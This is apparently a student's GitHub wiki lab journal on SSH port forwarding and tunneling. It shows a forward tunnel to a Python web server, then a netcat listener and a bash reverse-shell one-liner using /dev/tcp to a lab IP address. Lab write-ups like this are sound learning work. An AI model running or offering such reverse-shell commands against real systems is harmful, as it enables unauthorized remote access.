Lab 3.1 Single Port Tunneling - skyleroriordan/my-tech-journal GitHub Wiki

Forward Tunnel

On box one, I created a web server with a simple index.html file and used the command python3 -m http.server 1234

Then, on box two, I used the SSH command ssh -N -L 0.0.0.0:9111:10.0.17.102:1234 [email protected] to create a forward tunnel

I was able to curl to the web server using the command curl http://127.0.0.1:9111

Reverse Tunnel

To create the reverse tunnel, I first opened a listener on box two using the command nc -nlvp 4449

Then on box two, I used the command bash -i >&/dev/tcp/10.0.17.77/4449 to connect to the listener. This created a shell on box two.